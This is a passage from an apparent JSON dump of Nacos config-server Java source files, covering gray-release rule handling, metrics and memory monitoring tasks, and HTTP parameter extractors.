rule.\n    */\n    String getRawGrayRuleExp();\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/gray/GrayRuleManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.gray;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.google.gson.Gson;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * GrayRuleManager.\n *\n * @author zunfei.lzf\n */\npublic class GrayRuleManager {\n    \n    private static final Map<String, Class<?>> GRAY_RULE_MAP = new ConcurrentHashMap<>(8);\n    \n    public static final String SPLIT = \"_\";\n    \n    static {\n        Collection<GrayRule> grayRuleCollection = NacosServiceLoader.load(GrayRule.class);\n        for (GrayRule grayRule : grayRuleCollection) {\n            GRAY_RULE_MAP.put(grayRule.getType() + SPLIT + grayRule.getVersion(), grayRule.getClass());\n        }\n    }\n    \n    /**\n     * get class by type and version.\n     *\n     * @param type    type.\n     * @param version version.\n     * @return class.\n     * @date 2024/3/14\n     */\n    public static Class<?> getClassByTypeAndVersion(String type, String version) {\n        return GRAY_RULE_MAP.get(type + SPLIT + version);\n    }\n    \n    /**\n     * construct gray rule.\n     *\n     * @param configGrayPersistInfo config gray persist info.\n     * @return gray rule.\n     * @date 2024/3/14\n     */\n    public static GrayRule constructGrayRule(ConfigGrayPersistInfo configGrayPersistInfo) {\n        Class<?> classByTypeAndVersion = getClassByTypeAndVersion(configGrayPersistInfo.getType(),\n                configGrayPersistInfo.getVersion());\n        if (classByTypeAndVersion == null) {\n            return null;\n        }\n        try {\n            Constructor<?> declaredConstructor = classByTypeAndVersion.getDeclaredConstructor(String.class, int.class);\n            declaredConstructor.setAccessible(true);\n            return (GrayRule) declaredConstructor.newInstance(configGrayPersistInfo.getExpr(),\n                    configGrayPersistInfo.getPriority());\n        } catch (Exception e) {\n            throw new RuntimeException(String.format(\"construct gray rule failed with type[%s], version[%s].\",\n                    configGrayPersistInfo.getType(), configGrayPersistInfo.getVersion()), e);\n        }\n    }\n    \n    /**\n     * construct config gray persist info.\n     *\n     * @param grayRule gray rule.\n     * @return config gray persist info.\n     * @date 2024/3/14\n     */\n    public static ConfigGrayPersistInfo constructConfigGrayPersistInfo(GrayRule grayRule) {\n        return new ConfigGrayPersistInfo(grayRule.getType(), grayRule.getVersion(), grayRule.getRawGrayRuleExp(),\n                grayRule.getPriority());\n    }\n    \n    /**\n     * deserialize config gray persist info.\n     *\n     * @param grayRuleRawStringFromDb gray rule raw string from db.\n     * @return config gray persist info.\n     * @date 2024/3/14\n     */\n    public static ConfigGrayPersistInfo deserializeConfigGrayPersistInfo(String grayRuleRawStringFromDb) {\n        return (new Gson()).fromJson(grayRuleRawStringFromDb, ConfigGrayPersistInfo.class);\n    }\n    \n    /**\n     * serialize config gray persist info.\n     *\n     * @param configGrayPersistInfo config gray persist info.\n     * @return serialized string.\n     * @date 2024/3/14\n     */\n    public static String serializeConfigGrayPersistInfo(ConfigGrayPersistInfo configGrayPersistInfo) {\n        return (new Gson()).toJson(configGrayPersistInfo);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/gray/TagGrayRule.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.gray;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.Map;\nimport java.util.Objects;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\n\n/**\n * Tag gray rule.\n *\n * @author shiyiyue\n */\npublic class TagGrayRule extends AbstractGrayRule {\n    \n    String tagValue;\n    \n    public static final String VIP_SERVER_TAG_LABEL = VIPSERVER_TAG;\n    \n    public static final String TYPE_TAG = \"tag\";\n    \n    public static final String VERSION = \"1.0.0\";\n    \n    public static final int PRIORITY = Integer.MAX_VALUE - 1;\n    \n    public TagGrayRule() {\n        super();\n    }\n    \n    public TagGrayRule(String rawGrayRuleExp, int priority) {\n        super(rawGrayRuleExp, priority);\n    }\n    \n    @Override\n    protected void parse(String rawGrayRule) throws NacosException {\n        if (StringUtils.isBlank(rawGrayRule)) {\n            return;\n        }\n        this.tagValue = rawGrayRule;\n    }\n    \n    @Override\n    public boolean match(Map<String, String> labels) {\n        return labels.containsKey(VIP_SERVER_TAG_LABEL) && tagValue.equals(labels.get(VIP_SERVER_TAG_LABEL));\n    }\n    \n    @Override\n    public String getType() {\n        return TYPE_TAG;\n    }\n    \n    @Override\n    public String getVersion() {\n        return VERSION;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        TagGrayRule that = (TagGrayRule) o;\n        return tagValue.equals(that.tagValue);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(tagValue);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/ConfigDynamicMeterRefreshService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.core.monitor.NacosMeterRegistryCenter;\nimport io.micrometer.core.instrument.ImmutableTag;\nimport io.micrometer.core.instrument.Tag;\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * dynamic meter refresh service.\n *\n * @author <a href=\"mailto:liuyixiao0821@gmail.com\">liuyixiao</a>\n */\n@Service\npublic class ConfigDynamicMeterRefreshService {\n    \n    private static final String TOPN_CONFIG_CHANGE_REGISTRY = NacosMeterRegistryCenter.TOPN_CONFIG_CHANGE_REGISTRY;\n    \n    private static final int CONFIG_CHANGE_N = 10;\n    \n    /**\n     * refresh config change count top n per 30s.\n     */\n    @Scheduled(cron = \"0/30 * * * * *\")\n    public void refreshTopnConfigChangeCount() {\n        NacosMeterRegistryCenter.clear(TOPN_CONFIG_CHANGE_REGISTRY);\n        List<Pair<String, AtomicInteger>> topnConfigChangeCount = MetricsMonitor.getConfigChangeCount()\n                .getCounterOfTopN(CONFIG_CHANGE_N);\n        for (Pair<String, AtomicInteger> configChangeCount : topnConfigChangeCount) {\n            List<Tag> tags = new ArrayList<>();\n            tags.add(new ImmutableTag(\"config\", configChangeCount.getFirst()));\n            NacosMeterRegistryCenter.gauge(TOPN_CONFIG_CHANGE_REGISTRY, \"config_change_count\", tags, configChangeCount.getSecond());\n        }\n    }\n    \n    /**\n     * reset config change count to 0 every week.\n     */\n    @Scheduled(cron = \"0 0 0 ? * 1\")\n    public void resetTopnConfigChangeCount() {\n        MetricsMonitor.getConfigChangeCount().reset();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/MemoryMonitor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport com.alibaba.nacos.config.server.service.notify.AsyncNotifyService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Memory monitor.\n *\n * @author Nacos\n */\n@Service\npublic class MemoryMonitor {\n    \n    @Autowired\n    public MemoryMonitor(AsyncNotifyService notifySingleService) {\n        \n        ConfigExecutor.scheduleConfigTask(new PrintMemoryTask(), DELAY_SECONDS, DELAY_SECONDS, TimeUnit.SECONDS);\n        \n        ConfigExecutor\n                .scheduleConfigTask(new PrintGetConfigResponeTask(), DELAY_SECONDS, DELAY_SECONDS, TimeUnit.SECONDS);\n        \n        ConfigExecutor\n                .scheduleConfigTask(new ThreadTaskQueueMonitorTask(notifySingleService), DELAY_SECONDS, DELAY_SECONDS,\n                        TimeUnit.SECONDS);\n        \n    }\n    \n    private static final long DELAY_SECONDS = 10;\n    \n    /**\n     * reset some metrics to 0 every day.\n     */\n    @Scheduled(cron = \"0 0 0 * * ?\")\n    public void clear() {\n        MetricsMonitor.getConfigMonitor().set(0);\n        MetricsMonitor.getPublishMonitor().set(0);\n        MetricsMonitor.getFuzzySearchMonitor().set(0);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/MetricsMonitor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport com.alibaba.nacos.core.monitor.NacosMeterRegistryCenter;\nimport com.alibaba.nacos.core.monitor.topn.StringTopNCounter;\nimport io.micrometer.core.instrument.Counter;\nimport io.micrometer.core.instrument.ImmutableTag;\nimport io.micrometer.core.instrument.Tag;\nimport io.micrometer.core.instrument.Timer;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * Metrics Monitor.\n *\n * @author Nacos\n */\npublic class MetricsMonitor {\n    \n    private static final String METER_REGISTRY = NacosMeterRegistryCenter.CONFIG_STABLE_REGISTRY;\n    \n    private static AtomicInteger getConfig = new AtomicInteger();\n    \n    private static AtomicInteger publish = new AtomicInteger();\n    \n    /**\n     * task for notify config change to sub client of http long polling.\n     */\n    private static AtomicInteger longPolling = new AtomicInteger();\n    \n    private static AtomicInteger configCount = new AtomicInteger();\n    \n    /**\n     * task for notify config change to cluster server.\n     */\n    private static AtomicInteger notifyTask = new AtomicInteger();\n    \n    /**\n     * task for notify config change to sub client of long connection.\n     */\n    private static AtomicInteger notifyClientTask = new AtomicInteger();\n    \n    private static AtomicInteger dumpTask = new AtomicInteger();\n    \n    /**\n     * config fuzzy search count.\n     */\n    private static AtomicInteger fuzzySearch = new AtomicInteger();\n    \n    /**\n     * version -> client config subscriber count.\n     */\n    private static ConcurrentHashMap<String, AtomicInteger> configSubscriber = new ConcurrentHashMap<>();\n    \n    /**\n     * config change count.\n     */\n    private static StringTopNCounter configChangeCount = new StringTopNCounter();\n    \n    static {\n        ImmutableTag immutableTag = new ImmutableTag(\"module\", \"config\");\n        \n        List<Tag> tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"getConfig\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, getConfig);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"publish\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, publish);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"longPolling\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, longPolling);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"configCount\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, configCount);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"notifyTask\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, notifyTask);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"notifyClientTask\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, notifyClientTask);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"dumpTask\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, dumpTask);\n        \n        tags = new ArrayList<>();\n        tags.add(immutableTag);\n        tags.add(new ImmutableTag(\"name\", \"fuzzySearch\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_monitor\", tags, fuzzySearch);\n        \n        configSubscriber.put(\"v1\", new AtomicInteger(0));\n        configSubscriber.put(\"v2\", new AtomicInteger(0));\n        \n        tags = new ArrayList<>();\n        tags.add(new ImmutableTag(\"version\", \"v1\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_config_subscriber\", tags, configSubscriber.get(\"v1\"));\n        \n        tags = new ArrayList<>();\n        tags.add(new ImmutableTag(\"version\", \"v2\"));\n        NacosMeterRegistryCenter.gauge(METER_REGISTRY, \"nacos_config_subscriber\", tags, configSubscriber.get(\"v2\"));\n    }\n    \n    public static AtomicInteger getConfigMonitor() {\n        return getConfig;\n    }\n    \n    public static AtomicInteger getPublishMonitor() {\n        return publish;\n    }\n    \n    public static AtomicInteger getLongPollingMonitor() {\n        return longPolling;\n    }\n    \n    public static AtomicInteger getConfigCountMonitor() {\n        return configCount;\n    }\n    \n    public static AtomicInteger getNotifyTaskMonitor() {\n        return notifyTask;\n    }\n    \n    public static AtomicInteger getNotifyClientTaskMonitor() {\n        return notifyClientTask;\n    }\n    \n    public static AtomicInteger getDumpTaskMonitor() {\n        return dumpTask;\n    }\n    \n    public static AtomicInteger getFuzzySearchMonitor() {\n        return fuzzySearch;\n    }\n    \n    public static AtomicInteger getConfigSubscriberMonitor(String version) {\n        return configSubscriber.get(version);\n    }\n    \n    public static StringTopNCounter getConfigChangeCount() {\n        return configChangeCount;\n    }\n    \n    public static Timer getReadConfigRtTimer() {\n        return NacosMeterRegistryCenter\n                .timer(METER_REGISTRY, \"nacos_timer\", \"module\", \"config\", \"name\", \"readConfigRt\");\n    }\n    \n    public static Timer getWriteConfigRtTimer() {\n        return NacosMeterRegistryCenter\n                .timer(METER_REGISTRY, \"nacos_timer\", \"module\", \"config\", \"name\", \"writeConfigRt\");\n    }\n    \n    public static Timer getNotifyRtTimer() {\n        return NacosMeterRegistryCenter.timer(METER_REGISTRY, \"nacos_timer\", \"module\", \"config\", \"name\", \"notifyRt\");\n    }\n    \n    public static Timer getDumpRtTimer() {\n        return NacosMeterRegistryCenter.timer(METER_REGISTRY, \"nacos_timer\", \"module\", \"config\", \"name\", \"dumpRt\");\n    }\n    \n    public static Counter getIllegalArgumentException() {\n        return NacosMeterRegistryCenter\n                .counter(METER_REGISTRY, \"nacos_exception\", \"module\", \"config\", \"name\", \"illegalArgument\");\n    }\n    \n    public static Counter getNacosException() {\n        return NacosMeterRegistryCenter.counter(METER_REGISTRY, \"nacos_exception\", \"module\", \"config\", \"name\", \"nacos\");\n    }\n    \n    public static Counter getConfigNotifyException() {\n        return NacosMeterRegistryCenter\n                .counter(METER_REGISTRY, \"nacos_exception\", \"module\", \"config\", \"name\", \"configNotify\");\n    }\n    \n    public static Counter getUnhealthException() {\n        return NacosMeterRegistryCenter\n                .counter(METER_REGISTRY, \"nacos_exception\", \"module\", \"config\", \"name\", \"unhealth\");\n    }\n    \n    public static void incrementConfigChangeCount(String tenant, String group, String dataId) {\n        configChangeCount.increment(tenant + \"@\" + group + \"@\" + dataId);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/PrintGetConfigResponeTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.MEMORY_LOG;\n\n/**\n * PrintGetConfigResponeTask.\n *\n * @author zongtanghu\n */\npublic class PrintGetConfigResponeTask implements Runnable {\n    @Override\n    public void run() {\n        MEMORY_LOG.info(ResponseMonitor.getStringForPrint());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/PrintMemoryTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport com.alibaba.nacos.config.server.service.ClientTrackService;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.MEMORY_LOG;\n\n/**\n * Print memory task.\n *\n * @author zongtanghu\n */\npublic class PrintMemoryTask implements Runnable {\n    \n    @Override\n    public void run() {\n        int groupCount = ConfigCacheService.groupCount();\n        int subClientCount = ClientTrackService.subscribeClientCount();\n        long subCount = ClientTrackService.subscriberCount();\n        MEMORY_LOG.info(\"groupCount = {}, subscriberClientCount = {}, subscriberCount = {}\", groupCount, subClientCount,\n                subCount);\n        MetricsMonitor.getConfigCountMonitor().set(groupCount);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/ResponseMonitor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport java.text.DecimalFormat;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Response Monitory.\n *\n * @author Nacos\n */\npublic class ResponseMonitor {\n    \n    private static AtomicLong[] getConfigCountDetail = new AtomicLong[8];\n    \n    private static AtomicLong getConfigCount = new AtomicLong();\n    \n    private static final int MS_50 = 50;\n    \n    private static final int MS_100 = 100;\n    \n    private static final int MS_200 = 200;\n    \n    private static final int MS_500 = 500;\n    \n    private static final int MS_1000 = 1000;\n    \n    private static final int MS_2000 = 2000;\n    \n    private static final int MS_3000 = 3000;\n    \n    static {\n        refresh();\n    }\n    \n    /**\n     * Refresh for getting configCountDetail.\n     */\n    public static void refresh() {\n        for (int i = 0; i < getConfigCountDetail.length; i++) {\n            getConfigCountDetail[i] = new AtomicLong();\n        }\n    }\n    \n    /**\n     * AddConfigTime.\n     *\n     * @param time config time which is added.\n     */\n    public static void addConfigTime(long time) {\n        getConfigCount.incrementAndGet();\n        if (time < MS_50) {\n            getConfigCountDetail[0].incrementAndGet();\n        } else if (time < MS_100) {\n            getConfigCountDetail[1].incrementAndGet();\n        } else if (time < MS_200) {\n            getConfigCountDetail[2].incrementAndGet();\n        } else if (time < MS_500) {\n            getConfigCountDetail[3].incrementAndGet();\n        } else if (time < MS_1000) {\n            getConfigCountDetail[4].incrementAndGet();\n        } else if (time < MS_2000) {\n            getConfigCountDetail[5].incrementAndGet();\n        } else if (time < MS_3000) {\n            getConfigCountDetail[6].incrementAndGet();\n        } else {\n            getConfigCountDetail[7].incrementAndGet();\n        }\n    }\n    \n    public static String getStringForPrint() {\n        DecimalFormat df = new DecimalFormat(\"##.0\");\n        StringBuilder s = new StringBuilder(\"getConfig monitor:\\r\\n\");\n        s.append(\"0-50ms:\" + df.format(getConfigCountDetail[0].getAndSet(0) * 100 / getConfigCount.get()))\n                .append(\"%\\r\\n\");\n        s.append(\"100-200ms:\" + df.format(getConfigCountDetail[2].getAndSet(0) * 100 / getConfigCount.get()))\n                .append(\"%\\r\\n\");\n        s.append(\"200-500ms:\" + df.format(getConfigCountDetail[3].getAndSet(0) * 100 / getConfigCount.get()))\n                .append(\"%\\r\\n\");\n        s.append(\"500-1000ms:\" + df.format(getConfigCountDetail[4].getAndSet(0) * 100 / getConfigCount.get()))\n                .append(\"%\\r\\n\");\n        s.append(\"1000-2000ms:\" + df.format(getConfigCountDetail[5].getAndSet(0) * 100 / getConfigCount.get()))\n                .append(\"%\\r\\n\");\n        s.append(\"2000-3000ms:\" + df.format(getConfigCountDetail[6].getAndSet(0) * 100 / getConfigCount.get()))\n                .append(\"%\\r\\n\");\n        s.append(\"3000以上ms:\" + df.format(getConfigCountDetail[7].getAndSet(0) * 100 / getConfigCount.getAndSet(0)))\n                .append(\"%\\r\\n\");\n        return s.toString();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/ThreadTaskQueueMonitorTask.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor;\n\nimport com.alibaba.nacos.config.server.service.notify.AsyncNotifyService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.MEMORY_LOG;\n\n/**\n * NotifyTaskQueueMonitorTask.\n *\n * @author zongtanghu\n */\npublic class ThreadTaskQueueMonitorTask implements Runnable {\n    \n    private final AsyncNotifyService notifySingleService;\n    \n    ThreadTaskQueueMonitorTask(AsyncNotifyService notifySingleService) {\n        this.notifySingleService = notifySingleService;\n    }\n    \n    @Override\n    public void run() {\n        int size = ConfigExecutor.asyncNotifyQueueSize();\n        int notifierClientSize = ConfigExecutor.asyncConfigChangeClientNotifyQueueSize();\n        MEMORY_LOG.info(\"toNotifyTaskSize = {}\", size);\n        MEMORY_LOG.info(\"toClientNotifyTaskSize = {}\", notifierClientSize);\n        MetricsMonitor.getNotifyTaskMonitor().set(size);\n        MetricsMonitor.getNotifyClientTaskMonitor().set(notifierClientSize);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/monitor/collector/ConfigSubscriberMetricsCollector.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.monitor.collector;\n\nimport com.alibaba.nacos.config.server.monitor.MetricsMonitor;\nimport com.alibaba.nacos.config.server.remote.ConfigChangeListenContext;\nimport com.alibaba.nacos.config.server.service.LongPollingService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * v1 and v2 config subscriber metrics collector.\n *\n * @author <a href=\"mailto:liuyixiao0821@gmail.com\">liuyixiao</a>\n */\n@Service\npublic class ConfigSubscriberMetricsCollector {\n    \n    private static final long DELAY_SECONDS = 5;\n    \n    @Autowired\n    public ConfigSubscriberMetricsCollector(LongPollingService longPollingService, ConfigChangeListenContext configChangeListenContext) {\n        ConfigExecutor.scheduleConfigTask(() -> {\n            MetricsMonitor.getConfigSubscriberMonitor(\"v1\").set(longPollingService.getSubscriberCount());\n            MetricsMonitor.getConfigSubscriberMonitor(\"v2\").set(configChangeListenContext.getConnectionCount());\n        }, DELAY_SECONDS, DELAY_SECONDS, TimeUnit.SECONDS);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/paramcheck/ConfigBlurSearchHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.paramcheck;\n\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * The type Config blur search http param extractor.\n *\n * @author zhuoguang\n */\npublic class ConfigBlurSearchHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    private static final String BLUR_SEARCH_MODE = \"blur\";\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) {\n        String searchMode = request.getParameter(\"search\");\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        // TODO might replace '*' to empty char '' and still do check.\n        if (StringUtils.equals(searchMode, BLUR_SEARCH_MODE)) {\n            return paramInfos;\n        }\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(request.getParameter(\"tenant\"));\n        paramInfo.setDataId(request.getParameter(\"dataId\"));\n        paramInfo.setGroup(request.getParameter(\"group\"));\n        paramInfos.add(paramInfo);\n        return paramInfos;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/paramcheck/ConfigDefaultHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.paramcheck;\n\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Config default http param extractor.\n *\n * @author zhuoguang\n */\npublic class ConfigDefaultHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) {\n        ParamInfo 